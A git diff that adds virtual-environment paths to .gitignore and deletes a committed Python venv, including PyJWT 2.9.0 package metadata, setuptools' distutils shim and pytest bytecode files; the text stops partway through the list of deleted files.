diff --git a/.gitignore b/.gitignore index f3614305..1d007e6c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,8 @@ # Python venv/ +.venv/ +backend/venv/ +**/site-packages/ __pycache__/ *.pyc diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/AUTHORS.rst b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/AUTHORS.rst deleted file mode 100644 index 88e2b6ad..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/AUTHORS.rst +++ /dev/null @@ -1,7 +0,0 @@ -Authors -======= - -``pyjwt`` is currently written and maintained by `Jose Padilla `_. -Originally written and maintained by `Jeff Lindsay `_. - -A full list of contributors can be found on GitHub’s `overview `_. diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/INSTALLER b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/LICENSE b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/LICENSE deleted file mode 100644 index fd0ecbc8..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015-2022 José Padilla - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/METADATA b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/METADATA deleted file mode 100644 index 5af31fe1..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/METADATA +++ /dev/null @@ -1,97 +0,0 @@ -Metadata-Version: 2.1 -Name: PyJWT -Version: 2.9.0 -Summary: JSON Web Token implementation in Python -Home-page: https://github.com/jpadilla/pyjwt -Author: Jose Padilla -Author-email: hello@jpadilla.com -License: MIT -Keywords: json,jwt,security,signing,token,web -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Natural Language :: English -Classifier: License :: OSI Approved :: MIT License -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Utilities -Requires-Python: >=3.8 -Description-Content-Type: text/x-rst -License-File: LICENSE -License-File: AUTHORS.rst -Provides-Extra: crypto -Requires-Dist: cryptography >=3.4.0 ; extra == 'crypto' -Provides-Extra: dev -Requires-Dist: sphinx ; extra == 'dev' -Requires-Dist: sphinx-rtd-theme ; extra == 'dev' -Requires-Dist: zope.interface ; extra == 'dev' -Requires-Dist: cryptography >=3.4.0 ; extra == 'dev' -Requires-Dist: pytest <7.0.0,>=6.0.0 ; extra == 'dev' -Requires-Dist: coverage[toml] ==5.0.4 ; extra == 'dev' -Requires-Dist: pre-commit ; extra == 'dev' -Provides-Extra: docs -Requires-Dist: sphinx ; extra == 'docs' -Requires-Dist: sphinx-rtd-theme ; extra == 'docs' -Requires-Dist: zope.interface ; extra == 'docs' -Provides-Extra: tests -Requires-Dist: pytest <7.0.0,>=6.0.0 ; extra == 'tests' -Requires-Dist: coverage[toml] ==5.0.4 ; extra == 'tests' - -PyJWT -===== - -.. image:: https://github.com/jpadilla/pyjwt/workflows/CI/badge.svg - :target: https://github.com/jpadilla/pyjwt/actions?query=workflow%3ACI - -.. image:: https://img.shields.io/pypi/v/pyjwt.svg - :target: https://pypi.python.org/pypi/pyjwt - -.. image:: https://codecov.io/gh/jpadilla/pyjwt/branch/master/graph/badge.svg - :target: https://codecov.io/gh/jpadilla/pyjwt - -.. image:: https://readthedocs.org/projects/pyjwt/badge/?version=stable - :target: https://pyjwt.readthedocs.io/en/stable/ - -A Python implementation of `RFC 7519 `_. Original implementation was written by `@progrium `_. - -Installing ----------- - -Install with **pip**: - -.. code-block:: console - - $ pip install PyJWT - - -Usage ------ - -.. code-block:: pycon - - >>> import jwt - >>> encoded = jwt.encode({"some": "payload"}, "secret", algorithm="HS256") - >>> print(encoded) - eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg - >>> jwt.decode(encoded, "secret", algorithms=["HS256"]) - {'some': 'payload'} - -Documentation -------------- - -View the full docs online at https://pyjwt.readthedocs.io/en/stable/ - - -Tests ------ - -You can run tests from the project root after cloning with: - -.. code-block:: console - - $ tox diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/RECORD b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/RECORD deleted file mode 100644 index c6e4a13f..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/RECORD +++ /dev/null @@ -1,32 +0,0 @@ -PyJWT-2.9.0.dist-info/AUTHORS.rst,sha256=klzkNGECnu2_VY7At89_xLBF3vUSDruXk3xwgUBxzwc,322 -PyJWT-2.9.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -PyJWT-2.9.0.dist-info/LICENSE,sha256=eXp6ICMdTEM-nxkR2xcx0GtYKLmPSZgZoDT3wPVvXOU,1085 -PyJWT-2.9.0.dist-info/METADATA,sha256=YRmm4Pcq065Rja5Gzuh80YA2groQSgOR8I1Cx0MF8EM,3048 -PyJWT-2.9.0.dist-info/RECORD,, -PyJWT-2.9.0.dist-info/WHEEL,sha256=R0nc6qTxuoLk7ShA2_Y-UWkN8ZdfDBG2B6Eqpz2WXbs,91 -PyJWT-2.9.0.dist-info/top_level.txt,sha256=RP5DHNyJbMq2ka0FmfTgoSaQzh7e3r5XuCWCO8a00k8,4 -jwt/__init__.py,sha256=TlvdnR8JPnAKjXE3Yt4qSA4AApcb0_9fh4RppJfnMcU,1670 -jwt/__pycache__/__init__.cpython-311.pyc,, -jwt/__pycache__/algorithms.cpython-311.pyc,, -jwt/__pycache__/api_jwk.cpython-311.pyc,, -jwt/__pycache__/api_jws.cpython-311.pyc,, -jwt/__pycache__/api_jwt.cpython-311.pyc,, -jwt/__pycache__/exceptions.cpython-311.pyc,, -jwt/__pycache__/help.cpython-311.pyc,, -jwt/__pycache__/jwk_set_cache.cpython-311.pyc,, -jwt/__pycache__/jwks_client.cpython-311.pyc,, -jwt/__pycache__/types.cpython-311.pyc,, -jwt/__pycache__/utils.cpython-311.pyc,, -jwt/__pycache__/warnings.cpython-311.pyc,, -jwt/algorithms.py,sha256=5MLQ2WIhHPiN--67afLk4yXOLsYfx2OiNeLVORZT3G8,29851 -jwt/api_jwk.py,sha256=6F1r7rmm8V5qEnBKA_xMjS9R7VoANe1_BL1oD2FrAjE,4451 -jwt/api_jws.py,sha256=1cBVJuYxo6UrDU6UH4VTA2EqctBj1x7mNlnNb-Ocn4g,11425 -jwt/api_jwt.py,sha256=gsmF7wVxKFfsDBjrMq-M2UiyUBzl6U6YwaEqNdN1zkM,12875 -jwt/exceptions.py,sha256=xaWnosa-cREyXMyb7PYmLfQv9weZ7Q9XUYMiLJvN0hA,1101 -jwt/help.py,sha256=Jrp84fG43sCwmSIaDtY08I6ZR2VE7NhrTff89tYSE40,1749 -jwt/jwk_set_cache.py,sha256=hBKmN-giU7-G37L_XKgc_OZu2ah4wdbj1ZNG_GkoSE8,959 -jwt/jwks_client.py,sha256=9W8JVyGByQgoLbBN1u5iY1_jlgfnnukeOBTpqaM_9SE,4222 -jwt/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -jwt/types.py,sha256=VnhGv_VFu5a7_mrPoSCB7HaNLrJdhM8Sq1sSfEg0gLU,99 -jwt/utils.py,sha256=efS6RKCALEBeBw-uZj8VtzfZFFcECTd28q9ndNn9huw,3544 -jwt/warnings.py,sha256=50XWOnyNsIaqzUJTk6XHNiIDykiL763GYA92MjTKmok,59 diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/WHEEL b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/WHEEL deleted file mode 100644 index 1a9c5358..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (72.1.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/top_level.txt b/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/top_level.txt deleted file mode 100644 index 27ccc9bc..00000000 --- a/backend/venv/Lib/site-packages/PyJWT-2.9.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -jwt diff --git a/backend/venv/Lib/site-packages/__pycache__/py.cpython-311.pyc b/backend/venv/Lib/site-packages/__pycache__/py.cpython-311.pyc deleted file mode 100644 index 34762303..00000000 Binary files a/backend/venv/Lib/site-packages/__pycache__/py.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/__pycache__/six.cpython-311.pyc b/backend/venv/Lib/site-packages/__pycache__/six.cpython-311.pyc deleted file mode 100644 index 1e4bf942..00000000 Binary files a/backend/venv/Lib/site-packages/__pycache__/six.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_distutils_hack/__init__.py b/backend/venv/Lib/site-packages/_distutils_hack/__init__.py deleted file mode 100644 index f987a536..00000000 --- a/backend/venv/Lib/site-packages/_distutils_hack/__init__.py +++ /dev/null @@ -1,222 +0,0 @@ -# don't import any costly modules -import sys -import os - - -is_pypy = '__pypy__' in sys.builtin_module_names - - -def warn_distutils_present(): - if 'distutils' not in sys.modules: - return - if is_pypy and sys.version_info < (3, 7): - # PyPy for 3.6 unconditionally imports distutils, so bypass the warning - # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250 - return - import warnings - - warnings.warn( - "Distutils was imported before Setuptools, but importing Setuptools " - "also replaces the `distutils` module in `sys.modules`. This may lead " - "to undesirable behaviors or errors. To avoid these issues, avoid " - "using distutils directly, ensure that setuptools is installed in the " - "traditional way (e.g. not an editable install), and/or make sure " - "that setuptools is always imported before distutils." - ) - - -def clear_distutils(): - if 'distutils' not in sys.modules: - return - import warnings - - warnings.warn("Setuptools is replacing distutils.") - mods = [ - name - for name in sys.modules - if name == "distutils" or name.startswith("distutils.") - ] - for name in mods: - del sys.modules[name] - - -def enabled(): - """ - Allow selection of distutils by environment variable. - """ - which = os.environ.get('SETUPTOOLS_USE_DISTUTILS', 'local') - return which == 'local' - - -def ensure_local_distutils(): - import importlib - - clear_distutils() - - # With the DistutilsMetaFinder in place, - # perform an import to cause distutils to be - # loaded from setuptools._distutils. Ref #2906. - with shim(): - importlib.import_module('distutils') - - # check that submodules load as expected - core = importlib.import_module('distutils.core') - assert '_distutils' in core.__file__, core.__file__ - assert 'setuptools._distutils.log' not in sys.modules - - -def do_override(): - """ - Ensure that the local copy of distutils is preferred over stdlib. - - See https://github.com/pypa/setuptools/issues/417#issuecomment-392298401 - for more motivation. - """ - if enabled(): - warn_distutils_present() - ensure_local_distutils() - - -class _TrivialRe: - def __init__(self, *patterns): - self._patterns = patterns - - def match(self, string): - return all(pat in string for pat in self._patterns) - - -class DistutilsMetaFinder: - def find_spec(self, fullname, path, target=None): - # optimization: only consider top level modules and those - # found in the CPython test suite. - if path is not None and not fullname.startswith('test.'): - return - - method_name = 'spec_for_{fullname}'.format(**locals()) - method = getattr(self, method_name, lambda: None) - return method() - - def spec_for_distutils(self): - if self.is_cpython(): - return - - import importlib - import importlib.abc - import importlib.util - - try: - mod = importlib.import_module('setuptools._distutils') - except Exception: - # There are a couple of cases where setuptools._distutils - # may not be present: - # - An older Setuptools without a local distutils is - # taking precedence. Ref #2957. - # - Path manipulation during sitecustomize removes - # setuptools from the path but only after the hook - # has been loaded. Ref #2980. - # In either case, fall back to stdlib behavior. - return - - class DistutilsLoader(importlib.abc.Loader): - def create_module(self, spec): - mod.__name__ = 'distutils' - return mod - - def exec_module(self, module): - pass - - return importlib.util.spec_from_loader( - 'distutils', DistutilsLoader(), origin=mod.__file__ - ) - - @staticmethod - def is_cpython(): - """ - Suppress supplying distutils for CPython (build and tests). - Ref #2965 and #3007. - """ - return os.path.isfile('pybuilddir.txt') - - def spec_for_pip(self): - """ - Ensure stdlib distutils when running under pip. - See pypa/pip#8761 for rationale. - """ - if self.pip_imported_during_build(): - return - clear_distutils() - self.spec_for_distutils = lambda: None - - @classmethod - def pip_imported_during_build(cls): - """ - Detect if pip is being imported in a build script. Ref #2355. - """ - import traceback - - return any( - cls.frame_file_is_setup(frame) for frame, line in traceback.walk_stack(None) - ) - - @staticmethod - def frame_file_is_setup(frame): - """ - Return True if the indicated frame suggests a setup.py file. - """ - # some frames may not have __file__ (#2940) - return frame.f_globals.get('__file__', '').endswith('setup.py') - - def spec_for_sensitive_tests(self): - """ - Ensure stdlib distutils when running select tests under CPython. - - python/cpython#91169 - """ - clear_distutils() - self.spec_for_distutils = lambda: None - - sensitive_tests = ( - [ - 'test.test_distutils', - 'test.test_peg_generator', - 'test.test_importlib', - ] - if sys.version_info < (3, 10) - else [ - 'test.test_distutils', - ] - ) - - -for name in DistutilsMetaFinder.sensitive_tests: - setattr( - DistutilsMetaFinder, - f'spec_for_{name}', - DistutilsMetaFinder.spec_for_sensitive_tests, - ) - - -DISTUTILS_FINDER = DistutilsMetaFinder() - - -def add_shim(): - DISTUTILS_FINDER in sys.meta_path or insert_shim() - - -class shim: - def __enter__(self): - insert_shim() - - def __exit__(self, exc, value, tb): - remove_shim() - - -def insert_shim(): - sys.meta_path.insert(0, DISTUTILS_FINDER) - - -def remove_shim(): - try: - sys.meta_path.remove(DISTUTILS_FINDER) - except ValueError: - pass diff --git a/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f9bd4ea1..00000000 Binary files a/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/override.cpython-311.pyc b/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/override.cpython-311.pyc deleted file mode 100644 index 07ea30fd..00000000 Binary files a/backend/venv/Lib/site-packages/_distutils_hack/__pycache__/override.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_distutils_hack/override.py b/backend/venv/Lib/site-packages/_distutils_hack/override.py deleted file mode 100644 index 2cc433a4..00000000 --- a/backend/venv/Lib/site-packages/_distutils_hack/override.py +++ /dev/null @@ -1 +0,0 @@ -__import__('_distutils_hack').do_override() diff --git a/backend/venv/Lib/site-packages/_pytest/__init__.py b/backend/venv/Lib/site-packages/_pytest/__init__.py deleted file mode 100644 index 8eb8ec96..00000000 --- a/backend/venv/Lib/site-packages/_pytest/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -from __future__ import annotations - - -__all__ = ["__version__", "version_tuple"] - -try: - from ._version import version as __version__ - from ._version import version_tuple -except ImportError: # pragma: no cover - # broken installation, we don't even try - # unknown only works because we do poor mans version compare - __version__ = "unknown" - version_tuple = (0, 0, "unknown") diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 82323e5a..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/_argcomplete.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/_argcomplete.cpython-311.pyc deleted file mode 100644 index a1a6aa4e..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/_argcomplete.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/_version.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/_version.cpython-311.pyc deleted file mode 100644 index 8ca8860a..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/_version.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/cacheprovider.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/cacheprovider.cpython-311.pyc deleted file mode 100644 index 90b97b01..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/cacheprovider.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/capture.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/capture.cpython-311.pyc deleted file mode 100644 index 59a7d3fe..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/capture.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/compat.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/compat.cpython-311.pyc deleted file mode 100644 index 298303cd..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/compat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/debugging.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/debugging.cpython-311.pyc deleted file mode 100644 index cd6b8909..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/debugging.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/deprecated.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/deprecated.cpython-311.pyc deleted file mode 100644 index f29001c4..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/deprecated.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/doctest.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/doctest.cpython-311.pyc deleted file mode 100644 index 00eba95e..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/doctest.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/faulthandler.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/faulthandler.cpython-311.pyc deleted file mode 100644 index fd35e3a8..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/faulthandler.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/fixtures.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/fixtures.cpython-311.pyc deleted file mode 100644 index 6084a64d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/fixtures.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/freeze_support.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/freeze_support.cpython-311.pyc deleted file mode 100644 index 11ea1bae..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/freeze_support.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/helpconfig.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/helpconfig.cpython-311.pyc deleted file mode 100644 index 80bae6fa..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/helpconfig.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/hookspec.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/hookspec.cpython-311.pyc deleted file mode 100644 index 354e854b..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/hookspec.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/junitxml.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/junitxml.cpython-311.pyc deleted file mode 100644 index f2e2e68d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/junitxml.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/legacypath.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/legacypath.cpython-311.pyc deleted file mode 100644 index adeb19fd..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/legacypath.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/logging.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/logging.cpython-311.pyc deleted file mode 100644 index 1309903d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/logging.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/main.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/main.cpython-311.pyc deleted file mode 100644 index 8d10ad13..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/main.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/monkeypatch.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/monkeypatch.cpython-311.pyc deleted file mode 100644 index edeaa601..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/monkeypatch.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/nodes.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/nodes.cpython-311.pyc deleted file mode 100644 index e9d14b85..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/nodes.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/outcomes.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/outcomes.cpython-311.pyc deleted file mode 100644 index 3b70f033..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/outcomes.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/pastebin.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/pastebin.cpython-311.pyc deleted file mode 100644 index f8a8386b..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/pastebin.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/pathlib.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/pathlib.cpython-311.pyc deleted file mode 100644 index 31695c9c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/pathlib.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester.cpython-311.pyc deleted file mode 100644 index 2a95f2b1..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester_assertions.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester_assertions.cpython-311.pyc deleted file mode 100644 index a59e0625..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/pytester_assertions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/python.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/python.cpython-311.pyc deleted file mode 100644 index da167660..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/python.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/python_api.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/python_api.cpython-311.pyc deleted file mode 100644 index 9c448e2e..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/python_api.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/python_path.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/python_path.cpython-311.pyc deleted file mode 100644 index d1b845f9..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/python_path.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/recwarn.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/recwarn.cpython-311.pyc deleted file mode 100644 index 235589bb..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/recwarn.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/reports.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/reports.cpython-311.pyc deleted file mode 100644 index 302b6924..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/reports.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/runner.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/runner.cpython-311.pyc deleted file mode 100644 index 0d835fca..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/runner.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/scope.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/scope.cpython-311.pyc deleted file mode 100644 index 26e13cf5..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/scope.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/setuponly.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/setuponly.cpython-311.pyc deleted file mode 100644 index 2902720f..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/setuponly.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/setupplan.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/setupplan.cpython-311.pyc deleted file mode 100644 index c753a352..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/setupplan.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/skipping.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/skipping.cpython-311.pyc deleted file mode 100644 index 14cdbd1e..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/skipping.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/stash.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/stash.cpython-311.pyc deleted file mode 100644 index 71d658a6..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/stash.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/stepwise.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/stepwise.cpython-311.pyc deleted file mode 100644 index 848be3cf..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/stepwise.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/terminal.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/terminal.cpython-311.pyc deleted file mode 100644 index d8a754cd..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/terminal.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/threadexception.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/threadexception.cpython-311.pyc deleted file mode 100644 index 78fe3eb7..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/threadexception.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/timing.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/timing.cpython-311.pyc deleted file mode 100644 index 75b8d39c..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/__pycache__/timing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/__pycache__/tmpdir.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/__pycache__/tmpdir.cpython-311.pyc deleted file 